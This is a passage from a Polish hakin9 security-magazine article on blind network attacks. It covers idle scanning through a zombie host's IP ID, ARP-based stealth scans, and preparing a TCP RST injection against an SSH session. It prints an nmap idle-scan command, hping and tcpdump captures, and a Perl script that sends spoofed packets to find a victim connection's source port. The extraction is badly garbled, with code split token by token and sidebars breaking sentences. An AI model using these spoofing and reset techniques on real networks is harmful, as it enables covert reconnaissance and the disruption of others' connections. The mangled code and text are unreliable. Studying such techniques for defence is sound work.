cą tej techniki praktycznie narzu-
ca się sama. Skoro jesteśmy w sta-
nie zbadać, czy dany host wysłał pa-
kiet, czy nie, można to wykorzystać
do badania reakcji komputera B na
informacje, które wyśle mu kompu-
ter A. Można więc zastosować kla-
syczny SYN-SCAN fałszując adres
źródłowy. Zastanawiając się, jakie
informacje może odesłać A, docho-
dzimy do wniosku, że zachodzą dwa
przypadki:
• jeżeli skanowany port jest otwar-
ty, komputer odeśle pakiet z usta-
wionymi flagami SYN i ACK. Pa-
kiet tak sformatowany spowodu-
je odesłanie przez B odpowiedzi
z ustawioną flagą RST, ponieważ
B nie zażądał nawiązania połą-
czenia,
• jeżeli skanowany port jest za-
mknięty, komputer odeśle pa-
kiet z ustawioną flagą RST lub
w ogóle nic nie odeśle, jeżeli
komputer jest odpowiednio skon-
figurowany.
W przypadku A jesteśmy w stanie
wykryć odesłanie odpowiedzi, na-
tomiast w przypadku B jesteśmy
w stanie wykryć jej brak. Skanowa-
nie będzie więc polegało na wysła-
niu pakietu testującego do B, pakietu
ze sfałszowanym adresem źródło-
wym do A oraz ponownie pakie-
tu testującego. Warto tutaj słowem
komentarza opatrzyć dwie rzeczy:
ograniczenia czasowe oraz imple-
mentację tej techniki w programie
NMAP. Biorąc pod uwagę ograni-
czenia czasowe, należy zaważyć,
że czas pomiędzy dwoma kolejny-
mi próbami nie może być krótszy
niż RTT pomiędzy A oraz B powięk-
szonym o czas odpowiedzi B (tak
dla pewności). Jeżeli nasze próby
będą zbyt częste, dojdzie do prze-
kłamań w wynikach, ponieważ od-
powiedź od A nie zdąży spowodo-
wać odesłania odpowiedzi przez B.
Możliwa jest również optymaliza-
Terminologia
• Tryb promisc karty sieciowej – cytując za Wikipedią: Tryb pracy interfejsu sie-
ciowego (np. ethernetowej karty sieciowej), polegający na odbieraniu całego
ruchu docierającego do karty sieciowej, nie tylko skierowanego na adres MAC
karty sieciowej.
• Host zombie – komputer w podsieci skanera wykorzystywany jako przykrywka w
skanowaniu.
• RFC – z ang. Request for Comment. Cytując z polskiej Wikipedii: Zbiór technicz-
nych oraz organizacyjnych dokumentów mających formę memorandum, związa-
nych z Internetem oraz sieciami komputerowymi. Każdy z nich ma przypisany uni-
kalny numer identyfikacyjny, zwykle używany przy wszelkich odniesieniach. Pu-
blikacją RFC zajmuje się Internet Engineering Task Force. Dokumenty nie mają
mocy oficjalnej, jednak niektóre z nich zostały później przekształcone w oficjalne
standardy sieciowe, np. opis większości popularnych protokołów sieciowych zo-
stał pierwotnie opisany właśnie w RFC.
• Fingerprinting – technika skanowania pozwalająca na odkrycie wersji systemu
operacyjnego, polegająca na badaniu szczególnych cech pakietów przychodzą-
cych od skanowanego komputera.
Tabela 2.
Porty źródłowe używane przez poszczególne systemy operacyjne
System operacyjny Zaobserwowany port
źródłowy
Użycie kolejnego portu
Cisco 12.2(8)
11000
Zwiększ o 1
Cisco 12.1(5)
48642
Zwiększ o 512
Cisco 12.0(7)
23106
Zwiększ o 512
Cisco 12.0(8)
11778
Zwiększ o 512
Windows 2000
5.00.2195 SP4
1038/1060
Zwiększ o 1
Windows 2000
5.00.2195 SP3
1060
Zwiększ o 1
Windows XP Home
Edition SP1
1050
Zwiększ o 1
Windows Vista
49158
Zwiększ o 1
Linux 2.4.18
32770
Zwiększ o 1
Linux 2.6.22
32768-61000, 1024-
4999
Zwiększ o 1*
* dla danego adresu docelowego
Blind Attack
hakin9 Nr 01/2008
www.hakin9.org
23
cja tej techniki i minimalizacja licz-
by prób kierowanych z C do hosta
zombie (czyli B). Program NMAP
wysyła nie jeden, lecz N pakietów
z adresem źródłowym równym B
i docelowym A. Jeżeli żaden z por-
tów nie jest otwarty, to kolejne testy
IP ID powinny różnić się o N.
Technika ta zaimplementowana
jest w programie NMAP. Aby wyko-
nać skanowanie tego typu, należy
na komputerze C wydać polecenie
przedstawione na Listingu 5.
Skanowanie portów
wykorzystujące ARP
Skoro już mowa o skanowaniu
ukrytym, nie sposób pominąć ska-
nowania wykorzystującego pakiety
żądania ARP. Technika ta również
polega na zaobserwowaniu, które
pakiety wzbudzają odpowiedź po
dotarciu do ofiary, a które nie. Jed-
nym z takich przypadków są pakie-
ty z ustawioną flagą FIN. Wysłanie
pakietu z ustawioną flagą FIN na
otwarty port nie powinno spowo-
dować wygenerowania odpowiedzi.
Jeżeli port jest zamknięty, kompu-
ter odpowiada pakietem z ustawio-
nymi flagami RST, ACK.
W przypadku systemów z Red-
mond dzieje się inaczej, ponieważ
nie ma znaczenia, czy port jest
otwarty czy zamknięty – Windows
zawsze odpowie na taki pakiet pa-
kietem z ustawioną flagą RST,
ACK. Można w celu skanowania
wykorzystać również klasyczny
SYN-SCAN, jeżeli na docelowym
komputerze firewall odrzuca pakie-
ty SYN skierowane do zamknię-
tych portów. Technika skanowania
wymaga, aby skanowany kompu-
ter znajdował się w innej sieci niż
podsieć skanera. Skanowanie jest
ślepe, ponieważ wysyłając pakiety
zmieniamy adres źródłowy pakie-
tu na adres komputera nieistnieją-
cego lub aktualnie niepracującego
w naszej podsieci. Jeżeli skanowa-
na maszyna odpowie, router łączą-
cy naszą sieć będzie próbował za-
mienić fałszywy adres IP z naszej
podsieci na adres fizyczny przy po-
mocy protokołu ARP. Nie powinno
to nastręczać szczególnych proble-
mów, gdyż zapytania ARP wysyła-
ne są do wszystkich komputerów
w podsieci. Nasłuchując odpowie-
dzi ARP, skanujący komputer jest
w stanie określić, czy testowany
port jest otwarty, czy też nie.
Atak RST na
ustanowione połączenie
A co, jeśli chcemy dla zestawione-
go połączenia przeprowadzić atak
RST (np. podobny do tego, który zo-
stał przedstawiony w hakin9 2/2007
Listing 1.
Fragmentacja pakietu o wielkości 5000B
IP
(
id
2067
,
offset
0
,
length
1500
)
172.16
.
83.1
>
172.16
.
83.129
:
ICMP
echo
request
,
id
49943
,
seq
1
,
length
1480
IP
(
id
2067
,
offset
1480
,
length
1500
)
172.16
.
83.1
>
172.16
.
83.129
:
icmp
IP
(
id
2067
,
offset
2960
,
length
1500
)
172.16
.
83.1
>
172.16
.
83.129
:
icmp
IP
(
id
2067
,
offset
4440
,
length
588
)
172.16
.
83.1
>
172.16
.
83.129
:
icmp
Listing 2.
Badanie sekwencji IP ID systemu Windows Vista
#hping2 172.16.83.128 -r -c 5
HPING
172.16
.
83.128
(
eth0
172.16
.
83.128
):
NO
FLAGS
are
set
,
40
headers
+
0
data
bytes
len
=
40
ip
=
172.16
.
83.128
ttl
=
128
DF
id
=
348
sport
=
0
flags
=
RA
seq
=
0
win
=
0
rtt
=
0.2
ms
len
=
40
ip
=
172.16
.
83.128
ttl
=
128
DF
id
=+
1
sport
=
0
flags
=
RA
seq
=
1
win
=
0
rtt
=
0.2
ms
len
=
40
ip
=
172.16
.
83.128
ttl
=
128
DF
id
=+
1
sport
=
0
flags
=
RA
seq
=
2
win
=
0
rtt
=
0.2
ms
len
=
40
ip
=
172.16
.
83.128
ttl
=
128
DF
id
=+
1
sport
=
0
flags
=
RA
seq
=
3
win
=
0
rtt
=
0.3
ms
len
=
40
ip
=
172.16
.
83.128
ttl
=
128
DF
id
=+
1
sport
=
0
flags
=
RA
seq
=
4
win
=
0
rtt
=
0.2
ms
Listing 3.
Badanie sekwencji IP ID systemu Linux
#hping2 172.16.83.129 -r -c 5
HPING
172.16
.
83.129
(
eth0
172.16
.
83.129
):
NO
FLAGS
are
set
,
40
headers
+
0
data
bytes
len
=
40
ip
=
172.16
.
83.129
ttl
=
64
DF
id
=
0
sport
=
0
flags
=
RA
seq
=
0
win
=
0
rtt
=
0.5
ms
len
=
40
ip
=
172.16
.
83.129
ttl
=
64
DF
id
=+
0
sport
=
0
flags
=
RA
seq
=
1
win
=
0
rtt
=
0.1
ms
len
=
40
ip
=
172.16
.
83.129
ttl
=
64
DF
id
=+
0
sport
=
0
flags
=
RA
seq
=
2
win
=
0
rtt
=
0.1
ms
len
=
40
ip
=
172.16
.
83.129
ttl
=
64
DF
id
=+
0
sport
=
0
flags
=
RA
seq
=
3
win
=
0
rtt
=
0.1
ms
len
=
40
ip
=
172.16
.
83.129
ttl
=
64
DF
id
=+
0
sport
=
0
flags
=
RA
seq
=
4
win
=
0
rtt
=
0.2
ms
Listing 4.
Wpływ pakietów wysyłanych przez poszczególne hosty na
używane IP ID
#hping2 172.16.83.128 -1 -r -c 5
HPING
172.16
.
83.128
(
eth0
172.16
.
83.128
):
icmp
mode
set
,
28
headers
+
0
data
bytes
len
=
28
ip
=
172.16
.
83.128
ttl
=
128
id
=
1372
icmp_seq
=
0
rtt
=
0.2
ms
len
=
28
ip
=
172.16
.
83.128
ttl
=
128
id
=+
3
icmp_seq
=
1
rtt
=
0.2
ms
len
=
28
ip
=
172.16
.
83.128
ttl
=
128
id
=+
3
icmp_seq
=
2
rtt
=
0.3
ms
len
=
28
ip
=
172.16
.
83.128
ttl
=
128
id
=+
3
icmp_seq
=
3
rtt
=
0.2
ms
len
=
28
ip
=
172.16
.
83.128
ttl
=
128
id
=+
3
icmp_seq
=
4
rtt
=
0.3
ms
hping2
172.16
.
83.129
-
1
-
r
-
c
5
HPING
172.16
.
83.129
(
eth0
172.16
.
83.129
):
icmp
mode
set
,
28
headers
+
0
data
bytes
len
=
28
ip
=
172.16
.
83.129
ttl
=
64
id
=
6967
icmp_seq
=
0
rtt
=
0.2
ms
len
=
28
ip
=
172.16
.
83.129
ttl
=
64
id
=+
1
icmp_seq
=
1
rtt
=
0.9
ms
len
=
28
ip
=
172.16
.
83.129
ttl
=
64
id
=+
1
icmp_seq
=
2
rtt
=
0.1
ms
len
=
28
ip
=
172.16
.
83.129
ttl
=
64
id
=+
1
icmp_seq
=
3
rtt
=
0.1
ms
len
=
28
ip
=
172.16
.
83.129
ttl
=
64
id
=+
1
icmp_seq
=
4
rtt
=
0.5
ms
hakin9 Nr 01/2008
www.hakin9.org
Atak
24
przez Marcina Ulikowskiego)? Pozo-
staje jedynie technika pasywnego
nasłuchiwania interesującego nas
ruchu i wstrzyknięcie we właściwym
momencie odpowiednio sformatowa-
nego pakietu. Budowa protokołów
TCP oraz IP oraz połączenie techni-
ki aktywnego i pasywnego skanowa-
nia umożliwia częściowe obejście te-
go problemu.
Kolejnym interesującym fak-
tem – oprócz analizy IP ID – bę-
dzie zachowanie się hostów biorą-
cych udział w konwersacji na dodat-
kowe niespodziewane pakiety. Za-
łóżmy, że ustanowiliśmy połączenie
SSH z komputera A do kompute-
ra B. Po stronie komputera A został
użyty port 49160 do połączenia się
z komputerem B na port 22. Wysy-
łając pakiety z komputera C będzie-
my chcieli empirycznie sprawdzić,
czy komputer A używa portu 49160.
Czytając RFC nr 793, można się na-
tknąć na interesującą sytuację opi-
saną na stronie 34. Autorzy RFC
opisują w niej zachowanie protoko-
łu TCP w przypadku, gdy jedna ze
stron zgubiła połączenie. W RFC
znajdziemy również opis zachowa-
nia w innych interesujących sytu-
acjach – kiedy host otrzyma pakiet
należący do nieistniejącego połą-
czania oraz kiedy dostanie pakiet
SYN-ACK należący do połączenia.
Zachowanie w wyżej wymie-
nionych trzech sytuacjach można
opisać następującym przykładem:
komputer C wysyła pakiet z ustawio-
nym adresem źródłowym komputera
B i adresem docelowym komputera
A. Port docelowy jest równy porto-
wi usługi SSH, natomiast port źró-
dłowy ustawiony jest na port, któ-
ry chcemy odkryć (port X). Jedyną
ustawiona flagą TCP jest SYN. Wy-
słanie takiego pakietu do B zgod-
nie z RFC spowoduje odesłanie
w kierunku źródła pakietu z ustawio-
nymi flagami SYN-ACK jeżeli pakiet
nie należał do konwersacji oraz
ACK przeciwnym przypadku. Po do-
tarciu pakietu do A możliwe są dwie
sytuacje. Jeśli pakiet należy do kon-
wersacji A-B i zawiera jedynie flagę
ACK, nic nie jest odsyłane. Pakiet
nienależący do żadnego połączenia
Interesujące pola IP i TCP
Pole ID protokołu IP wykorzystywane jest przy defragmentacji przychodzących pakie-
tów. Dla każdego wysłanego pakietu posiada unikalną wartość. Jeżeli pakiet zostanie
sfragmentowany przez pośredniczący router, pole ID pozostanie niezmienione i takie
samo w obrębie wszystkich fragmentów. W procesie fragmentacji bierze udział rów-
nież adres źródłowy pakietu, pole fragment offset oraz dwa bity - DF i MF pola nastę-
pującego po IP ID. Pierwszy bit – DF – zezwala lub zabrania fragmentacji. Bit MF jest
ustawiony na 1 dla pierwszego i kolejnych fragmentów pakietu oraz na 0 dla ostatnie-
go fragmentu. Pole fragment offset pozwala określić pozycję danego fragmentu w ory-
ginalnym pakiecie. Pole to ma 13 bitów, co przy maksymalnej wielkości pakietu IP rów-
nej 0xFFFF powoduje, że najmniejszy fragment ma 8 bajtów.
Na przykład dla MTU równego 1500 wysłanie pakietu ICMP ECHO o wielkości
5000 bajtów (w sumie 5008 po doliczeniu nagłówka ICMP) będzie widziane tak, jak
na Listingu 1.
Pola TCP SEQ oraz TCP ACK są licznikami. Pierwszy z nich liczy bajty wysłane,
a drugi potwierdzane. Doprecyzowując, TCP SEQ określa pozycję aktualnie wysyła-
nej paczki danych w całym strumieniu, natomiast druga wartość określa, który bajt po-
chodzący od drugiej strony poprawnie przetworzyliśmy. Wspominając o SEQ i ACK
nie można pominąć pola Window Size, które określa, ile danych strona ustawiająca tę
wartość jest w stanie odebrać.
Listing 5.
Uruchomienie skanera NMAP z opcją Idle Scanning
#nmap -sI 172.16.83.128 172.16.83.129
WARNING
:
Many
people
use
-
P0
w
/
Idlescan
to
prevent
pings
from
their
true
IP
.
On
the
other
hand
,
timing
info
Nmap
gains
from
pings
can
allow
for
faster
,
more
reliable
scans
.
Starting
Nmap
4.20
(
http
:
//
insecure
.
org
)
at
2007
-
10
-
01
04
:
46
CEST
Idlescan
using
zombie
172.16
.
83.128
(
172.16
.
83.128
:
80
);
Class
:
Incremental
Interesting
ports
on
172.16
.
83.129
:
Not
shown
:
1694
closed
|
filtered
ports
PORT
STATE
SERVICE
22
/
tcp
open
ssh
23
/
tcp
open
telnet
113
/
tcp
open
auth
MAC
Address
:
00
:
30
:
4F
:
A1
:
65
:
0
A
Nmap
finished
:
1
IP
address
(
1
host
up
)
scanned
in
16.124
seconds
Listing 6.
Wpływ poprawnych i niepoprawnych pól portów źródłowych
na wysyłane dane
02
:
02
:
57.810075
IP
172.16
.
83.128
.
49160
>
172.16
.
83.129
.
ssh
:
S
1218938372
:
1218938372
(
0
)
win
512
02
:
02
:
57.810253
IP
172.16
.
83.129
.
ssh
>
172.16
.
83.128
.
49160
:
.
ack
1768219816
win
4512
<
nop
,
nop
,
sack
1
{
3745685853
:
3745685854
}
>
02
:
02
:
59.392821
IP
172.16
.
83.128
.
49160
>
172.16
.
83.129
.
ssh
:
S
605303214
:
605303214
(
0
)
win
512
02
:
02
:
59.392933
IP
172.16
.
83.129
.
ssh
>
172.16
.
83.128
.
49160
:
.
ack
1
win
4512
<
nop
,
nop
,
sack
1
{
3132050695
:
3132050696
}
>
02
:
03
:
03.406027
IP
172.16
.
83.128
.
49161
>
172.16
.
83.129
.
ssh
:
S
1540719811
:
1540719811
(
0
)
win
512
02
:
03
:
03.406145
IP
172.16
.
83.129
.
ssh
>
172.16
.
83.128
.
49161
:
S
4169466566
:
4169466566
(
0
)
ack
1540719812
win
5840
<
mss
1460
>
02
:
03
:
03.406466
IP
172.16
.
83.128
.
49161
>
172.16
.
83.129
.
ssh
:
R
1540719812
:
1540719812
(
0
)
win
0
02
:
03
:
04.314936
IP
172.16
.
83.128
.
49161
>
172.16
.
83.129
.
ssh
:
S
1240411569
:
1240411569
(
0
)
win
512
02
:
03
:
04.315065
IP
172.16
.
83.129
.
ssh
>
172.16
.
83.128
.
49161
:
S
4170366716
:
4170366716
(
0
)
ack
1240411570
win
5840
<
mss
1460
>
02
:
03
:
04.315275
IP
172.16
.
83.128
.
49161
>
172.16
.
83.129
.
ssh
:
R
1240411570
:
1240411570
(
0
)
win
0
Blind Attack
hakin9 Nr 01/2008
www.hakin9.org
25
powoduje podjęcie przez komputer
A próby zerwania nieistniejącego
połączenia A-B pakietem z ustawia-
ną flagą RST.
Przechwytując ruch programem
tcpdump, powinniśmy uzyskać coś
podobnego do zawartości Listingu 6.
Znaczenie poszczególnych pól jest
następujące:
• czas IP adres źródłowy.port
–> adres docelowy.port: flagi,
SEQ _ P:SEQ _ O
(liczba bajtów) [ack
ACK] rozmiar okna <opcje>,
• pole
SEQ _ P:SEQ _ O
określa, jakie
są numery sekwencyjne przesy-
łanych bajtów.
Test polegał na wysłaniu czterech pa-
kietów: dwóch należących do połą-
czenia A-B oraz dwóch, które do nie-
go nie należały.
Prosty program wykrywający port
użyty przez maszynę A przedstawio-
ny jest na Listingu 7. Przykładowe wy-
wołanie programu ma postać:
./discover _ ports.pl -s 172.16.83.1 -d
172.16.83.129 -sp 22 -vi 172.16.83.128
Program zwróci w miarę dokładną li-
stę portów źródłowych użytych w ko-
munikacji A-B:
Found ports: 45474 45730 49160 51885
W celu przeprowadzenia udane-
go ataku RST należy jeszcze zdo-
być dodatkową informację. A mia-
nowicie numery sekwencyjne uży-
te dla połączenia przez komputer A
lub B. Do odkrycia są de facto dwie
liczby – liczniki bajtów w połączeniu
serwera SSH oraz klienta. W celu
sprawdzenia jednego z owych liczni-
ków zastosujemy ponownie sztuczkę
z IP ID. Najpierw należy jednak zro-
zumieć, do czego służą flagi ACK
I SEQ protokołu TCP.
Załóżmy, że host B otrzymuje
pakiet. Pole SEQ tego pakietu jest
licznikiem bajtów komputera A i po-
winno się mieścić w tzw. oknie od-
biorczym komputera odbierające-
go wiadomość (w tym przypad-
ku A). Okno odbiorcze jest warto-
ścią ograniczającą liczbę pakietów,
Listing 7a.
Program, który odkryje porty używane w komunikacji A-B
#!/usr/bin/perl
use
Net
::
Pcap
;
use
Net
::
RawIP
;
use
NetPacket
::
Ethernet
qw
(:
strip
);
use
NetPacket
::
ICMP
;
use
Getopt
::
Long
qw
(
GetOptions
);
use
NetPacket
::
IP
;
use
FileHandle
;
use
threads
;
use
threads
::
shared
;
use
Time
::
HiRes
;
STDOUT
->
autoflush
(
1
);
my
$
my_ip
,$
server_ip
,$
server_port
,$
victim_ip
;
my
$
opt
=
1
;
my
$
promisc
=
1
;
my
$
snaplen
=
68
;
my
(
$
err
,$
net
,$
mask
,$
dev
,$
filter_t
);
my
@
probes_array
;
share
(
@
probes_array
);
GetOptions
(
"s=s"
=>
\$
my_ip
,
"d=s"
=>
\$
server_ip
,
"sp=s"
=>
\$
server_port
,
"vi=s"
=>
\
$
victim_ip
,
)
or
uzycie
();
uzycie
()
if
not
$
server_ip
;
my
$
dev
=
rdev
(
$
server_ip
);
my
$
filter
=
"src host $victim_ip"
;
my
$
my_id_cnt
=
0
;
my
$
my_id_prb_cnt
=-
1
;
my
@
ports_to_scan
=
(
[
0
,
65535
]
);
my
@
found_ports
;
share
(
@
found_ports
);
my
$
thread
=
threads
->
create
(
'
start_probing
',
undef
);
die
if
(
not
defined
$
thread
);
if
(
(
Net
::
Pcap
::
lookupnet
(
$
dev
, \$
net
, \$
mask
, \$
err
)
)
==
-
1
)
{
die
"Net::Pcap::lookupnet failed. Error was $err"
;
}
my
$
pcap_t
=
Net
::
Pcap
::
open_live
(
$
dev
, $
snaplen
, $
promisc
, $
to_ms
, \$
err
);
$
pcap_t
||
die
"Can't create packet descriptor. Error was $err"
;
if
(
Net
::
Pcap
::
compile
(
$
pcap_t
, \$
filter_t
, $
filter
, $
opt
, $
net
)
==
-
1
)
{
die
"Unable to compile filter string '$filter'
\n
"
;
}
Net
::
Pcap
::
setfilter
(
$
pcap_t
, $
filter_t
);
Net
::
Pcap
::
loop
(
$
pcap_t
,
-
1
, \
&
callback
, \@
x
);
sub
start_probing
{
my
$
rtt_tuned
=
0.20
;
my
$
outcond
=
0
;
"RTT autotune. Starting from: $rtt_tuned
\n
"
;
while
(
$
outcond
==
0
)
{
local
$
i
=
0
;
for
(
$
client_port
=
1
;
$
client_port
<
100
;
$
client_port
++)
{
send_probe
();
send_testing_packet
();
Time
::
HiRes
::
sleep
(
$
rtt_tuned
);
}
{
lock
(
@
found_ports
);
if
(
scalar
(
@
found_ports
)>=
5
)
{
$
rtt_tuned
=
$
rtt_tuned
*
2
;
$
outcond
=
1
;
last
;
}
undef
@
found_ports
;
hakin9 Nr 01/2008
www.hakin9.org
Atak
26
które – w analizowanym przypadku
– może na raz odebrać host A. Po-
le ACK pakietu pochodzącego od B
określa, który pakiet wysłany z A zo-
stał poprawnie odebrany i przetwo-
rzony.
Aby to zobrazować, prześledźmy
przykładową komunikację C z A. Na
komputerze C została wydana ko-
menda telnet A. Część wymiany pa-
kietów pokazuje Listing 8., w którym
dla uproszczenia usunięto niektóre
dane drukowane przez tcpdump.
W celu ustanowienia połącze-
nia wymieniane są pakiety od nu-
meru 1 do 3. Jest to klasyczny przy-
kład trzystopniowego uzgadnia-
nia numerów sekwencyjnych. War-
to jednak zauważyć, że pakiety
z ustawioną flagą SYN (numer se-
kwencyjny=3157436274) druga stro-
na potwierdza numerem ACK (pa-
kiet numer 2) o jeden większym
(3157436275) – tak, jakby poprzed-
ni pakiet niósł jeden dodatkowy bajt
danych. Daje to nam pewność do-
starczenia numerów synchroniza-
cyjnych do drugiej strony. Komunika-
cja C->A zaczyna się od pakietu nu-
mer 4 świadczącego o wysłaniu 27
bajtów danych. Bajty te są potwier-
dzane przez A w pakiecie numer 5,
w którym pole ACK jest równe po-
lu SEQ pakietu numer 4 powiększo-
nemu o 27 bajtów danych. Pakiet nu-
mer 6 jest odpowiedzią hosta A skła-
dającą się z 3 bajtów danych. Od-
powiedź hosta A jest potwierdzana
w pakiecie numer 7. I tak dalej.
Dzięki takiemu mechanizmo-
wi oba komputery posiadają wiedzę
o danych, które dotarły do drugiego
komputera i danych, które wymaga-
ją retransmisji. Naszym celem bę-
dzie wysłanie pakietu, który będzie
miał licznik tak ustawiony, aby cały
pakiet został zinterpretowany przez
ofiarę jako poprawny.
Na pierwszy rzut oka wyda-
je się, że należy bardzo dokładnie
odgadnąć oba te liczniki. Dla ce-
lu przeprowadzania ataku RST na
system Vista jest to prawda, jed-
nak odkrycie przedziału numerów
akceptowanych przez B nie wy-
maga już takiej precyzji. Gdyby nie
był dopuszczony pewien margines
Listing 7b.
Program, który odkryje porty używane w komunikacji A-B
}
$
rtt_tuned
=
$
rtt_tuned
/
2
;
"RTT: coud do beter: trying $rtt_tuned
\n
"
;
if
(
$
rtt_tuned
<=
0.005
)
{
$
outcond
=
1
;
last
;
}
}
undef
@
found_ports
;
"RTT established at: $rtt_tuned
\n
"
;
sleep
(
1
);
while
(
scalar
(
@
ports_to_scan
)!=
0
)
{
my
(
$
port_begin
,$
port_end
)
=
@
{
pop
(
@
ports_to_scan
)
}
;
"Scanning from/to: $port_begin,$port_end
\n
"
;
for
(
$
client_port
=
$
port_begin
;
$
client_port
<=
$
port_end
;
$
client_port
++)
{
send_probe
();
send_testing_packet
();
Time
::
HiRes
::
sleep
(
$
rtt_tuned
)
if
(
$
rtt_tuned
>
0.0005
);
}
}
"Found ports: @found_ports
\n
"
;
}
sub
send_probe
{
my
$
rawip
=
Net
::
RawIP
->
new
(
{
icmp
=>
{}}
);
$
rawip
->
set
(
{
ip
=>
{
saddr
=>
$
my_ip
,
daddr
=>
$
victim_ip
,
}
,
icmp
=>
{
type
=>
8
,
id
=>
NetPacket
::
htons
(
$
my_id_cnt
)
,
sequence
=>
NetPacket
::
htons
(
$
my_id_cnt
)
,
data
=>
timem
()
}
}
);
$
rawip
->
send
();
{
lock
(
@
probes_array
);
push
(
@
probes_array
,$
my_id_cnt
);
}
$
my_id_cnt
=
0
if
(++
$
my_id_cnt
>=
65536
);
}
sub
send_testing_packet
{
my
$
rawip
=
Net
::
RawIP
->
new
(
{
ip
=>
{
saddr
=>
$
victim_ip
,
daddr
=>
$
server_ip
}
,
tcp
=>
{
dest
=>
$
server_port
,
source
=>
$
client_port
,
psh
=>
1
,
syn
=>
1
}}
);
$
rawip
->
send
();
{
lock
(
@
probes_array
);
push
(
@
probes_array
, $
client_port
);
}
if
(
$
client_port
%
100
==
0
)
{
"Probed client port: $client_port
\n
"
;
}
Blind Attack
hakin9 Nr 01/2008
www.hakin9.org
27
błędu, pakiety, które przyszłyby
w złej kolejności, byłyby odrzucane
– znacząco degradując prędkość
połączenia.
Aby umożliwić odbieranie pa-
kietów, które przychodzą w różnej
kolejności, protokół TCP wprowa-
dził pojęcie okna. De facto istnieją
trzy okna: nadawcze, unikania za-
toru (tzw. congestion window) i od-
biorcze. Oknem congestion nie bę-
dziemy się zajmować. Okno nadaw-
cze związane jest poniekąd z oknem
congestion, natomiast okno odbior-
cze określa, ile dany host mo-
że przyjąć danych na raz (lub pa-
trząc od strony nadawcy – ile mo-
że on wysłać danych, które odbior-
ca jest w stanie przetworzyć). Roz-
miar okna odbiorczego jest komuni-
kowany nadawcy podczas ustana-
wiania połączenia i modyfikowany
w zależności od warunków panu-
jących w sieci. Służy do tego celu
specjalne, 16-bitowe pole protokołu
TCP o nazwie window i znajdujące
się 208 bitów od początku nagłów-
ka TCP. Łatwo zauważyć, że 16 bi-
tów ogranicza maksymalną wielkość
okna do 65535, co jest niewystar-
czające przy osiągach obecnych sie-
ci. Z pomocą przychodzi mechanizm
skalowania okna, którego dane – ja-
ko dodatkowe pole – doklejane są do
nagłówka w fazie ustalania połącze-
nia. Pozwala on przeskalować okno
o maksymalnie 2^14 bajtów powodu-
jąc, że dopuszczalny rozmiar okna
urasta do 1GB. Duże znaczenie ma
również domyślny rozmiar okna, któ-
ry jest inny dla każdego z systemów.
Przykładowe rozmiary okien poka-
zane są w Tabeli 1.
Warto również wiedzieć, że Win-
dows Vista używał w przeprowa-
dzonym teście współczynnika ska-
lowania okna równego 8 – co ozna-
cza, że rozmiar okna jest równy 8192
pomnożone przez 256 (2^8), nato-
miast współczynnik skalowania okna
w systemie Linux wynosił od 2 do 4.
Oczywiście nie można zakładać, że
jest to regułą.
Jak wcześniej zostało wspo-
mniane, numer sekwencyjny kom-
putera A zostanie odkryty poprzez
testowanie IP ID komputera z zain-
Listing 7c.
Program, który odkryje porty używane w komunikacji A-B
}
sub
received_probe_pacet
{
my
(
$
raw_data
)
=
@
_
;
my
$
id
,$
dest_port
;
my
$
id
,$
port_scanned
,$
last_id
;
$
ip
=
NetPacket
::
IP
->
decode
(
eth_strip
(
$
raw_data
));
my
(
$
icmp_type
,$
icmp_code
,$
icmp_chsum
,$
icmp_id
,$
icmp_seqnum
,$
icmp_data
)
=
unpack
(
"CCnnna*"
,$
ip
->
{
data
}
);
{
lock
(
@
probes_array
);
if
(
scalar
(
@
probes_array
)>=
3
)
{
$id = shift (@probes _ array);
$
dest_port
=
shift
(
@
probes_array
);
$
last_id
=
$
probes_array
[
0
];
if
(
$
last_id
!=
$
icmp_id
)
{
$
outofsync
=
1
;
while
((
scalar
(
@
probes_array
)>=
3
)
&&
(
$
outofsync
==
1
))
{
$
id
=
shift
(
@
probes_array
);
$
dest_port
=
shift
(
@
probes_array
);
$
last_id
=
$
probes_array
[
0
];
if
(
$
last_id
==
$
icmp_id
)
{
$
outofsync
=
0
;
}
}
}
}
}
if
(
$
my_id_prb_cnt
==
$
ip
->
{
id
}
)
{
push
@
found_ports
,$
dest_port
;
}
$
expected_ip_id
=
$
icmp_id
+
1
;
$
my_id_prb_cnt
=
$
ip
->
{
id
}
;
$
my_id_prb_cnt
++;
}
sub
analyze_packet
{
my
(
$
raw_data
)
=
@
_
;
$
ip
=
NetPacket
::
IP
->
decode
(
eth_strip
(
$
raw_data
));
if
(
$
ip
->
{
proto
}
==
NetPacket
::
IP
::
IP_PROTO_ICMP
)
{
$
icmp
=
NetPacket
::
ICMP
->
decode
(
NetPacket
::
IP
::
strip
(
$
raw_data
));
if
(
$
icmp
->
{
code
}
==
ICMP_ECHOREPLY
)
{
received_probe_pacet
(
$
raw_data
);
}
}
}
sub
callback
{
my
(
$
args
,$
header
,$
packet
)
=
@
_
;
analyze_packet
(
$
packet
);
}
sub
uzycie
{
"$0 -s my-ip -d server-ip -sp server_port -vi victim-ip
\n
"
;
exit
-
1
;
}
hakin9 Nr 01/2008
www.hakin9.org
Atak
28
stalowanym systemem Windows Vi-
sta. Aby uzmysłowić sobie, jak te-
go dokonać, należy zaobserwować,
co się dzieje w przypadku, gdy da-
ny host otrzyma pakiet z numerem
SEQ spoza okna odbiorczego (patrz
Listing 9).
Host B wysyła numer sekwen-
cyjny ostatnio odebranego bajtu.
Istotne jest to, że wysyłając zwięk-
sza licznik IP ID, który możemy od-
czytać poznaną wcześniej metodą.
Jeżeli numer SEQ jest w oknie od-
biorczym hosta B, to nie odeśle on
nam żadnej odpowiedzi. Warto nad-
mienić, że wykrywanie numerów se-
kwencyjnych jest procesem szyb-
szym niż wykrywanie portów, ponie-
waż wysyłając pakiety do B nie mu-
simy się przejmować RTT pomiędzy
A oraz B. Nie musimy ponadto prze-
szukiwać pełnego zakresu (czyli od
0 od 2^32-1), ponieważ host B uzna
za poprawny numer sekwencyjny
z zakresu, którego się spodziewa.
Można więc przyjąć pewien począt-
kowy rozmiar okna równy N=64K
i przeszukać cały zakres numerów
sekwencyjnych zwiększając SEQ
o 64K. Jeżeli nie uda się nam zna-
leźć okna odbiorczego, to – jak su-
geruje jedno ze źródeł – ustalamy
SEQ=N/2+I*N dla każdego I. Je-
żeli w dalszym ciągu nie znajdzie-
my okna, ustalamy SEQ=N/4+I*N/2
i postępujemy podobnie.
Jeżeli uda nam się wpaść w okno
odbiorcze hosta B, z łatwością może-
my odkryć dokładny numer sekwen-
cyjny B używając bisekcji, tak jak to
jest pokazane na Rysunku 2.
Odkrywszy numer SEQ hosta A,
możemy przeprowadzić atak RST.
RFC 793 dokładnie określa wy-
magania i zachowanie stosu TCP
